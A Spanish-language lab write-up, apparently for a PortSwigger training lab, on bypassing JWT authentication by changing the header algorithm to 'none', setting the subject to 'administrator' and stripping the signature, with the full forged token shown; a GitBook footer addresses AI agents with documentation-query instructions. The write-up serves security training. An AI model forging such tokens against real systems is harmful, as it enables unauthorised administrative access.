# Elusión de autenticación JWT mediante verificación de firma defectuosa

### Evasión de autenticación JWT mediante verificación de firma defectuosa

**Contexto del laboratorio**

Este laboratorio utiliza **JSON Web Tokens (JWT)** para gestionar sesiones de usuario. / La configuración del servidor es incorrecta: \*\* acepta JWT sin firmar\*\*, lo que permite falsificar un token válido sin poseer la clave privada.

**Objetivo:**

* Editar el JWT de sesión para acceder `/admin` panel de administración
* Eliminar usuario **carlos**

**Credenciales proporcionadas:**

* Usuario: `wiener`
* Contraseña: `peter`

\*\* Análisis inicial del JWT\*\*

Tras iniciar sesión, se proporciona una cookie de sesión JWT:

```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTU3Niwic3ViIjoid2llbmVyIn0.CDQZmT-cC5Oa1A4yVjgEu1HVYC_J7aZ_Utfjkbdy8D0frSJVeZygaS82Frj4ZI6q8a0XGgvDE1NEJ1TQdnrJ2WSFRWoew7Nen9FJe1X_Rz2nHVKCA5kk30Kx2xB9BQ6ij-wbQLLcZkPV4CqklQ51CwPwrxCfPzpGXxCGOhjOvfYTeZzmKrskOzTG1Ikk3rv4JGWY1GKATeRXuZgbIUxG4QsHS7bDOzcUCuhUiUj4uu4gWE2FvZFLpnbNC1VvtUyq37Qqrqo78IomtnA3pe6e285IzkIr8IK-iiLVvkV4q2pTDI4-FIaMsaqMvyLvBWqsHMR-OXL4MJZMQho0E1Cdtw
```

* **Encabezado**: `RS256` algoritmo
* **Carga útil**: `wiener` token de usuario
* **Firma**: original y válido

**Modificación de la carga útil**

El objetivo es hacerse pasar por un administrador. / El `sub` campo se modifica en la carga útil:

```json
{
  "iss": "portswigger",
  "exp": 1767531576,
  "sub": "administrator"
}
```

**Explotación de una verificación incorrecta**

El servidor acepta JWT con `none` algoritmo. / El **encabezado** se modifica luego:

```json
{
  "kid": "ae2a1871-902d-46a7-aab8-f9558bb0e64e",
  "alg": "none"
}
```

<figure><img src="/files/1e496d4b0419f62688f4db3ad67c4b3d005b7b4a" alt=""><figcaption></figcaption></figure>

A continuación:

* La firma se elimina por completo\*\*
* El JWT final termina con un solo punto (`.`)

{% code overflow="wrap" %}

```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMjI2NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
```

{% endcode %}

**Resultado**

* El servidor \*\* acepta JWT sin firmar\*\*
* El acceso a `/admin` se permite el panel
* Usuario **carlos** puede eliminarse

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
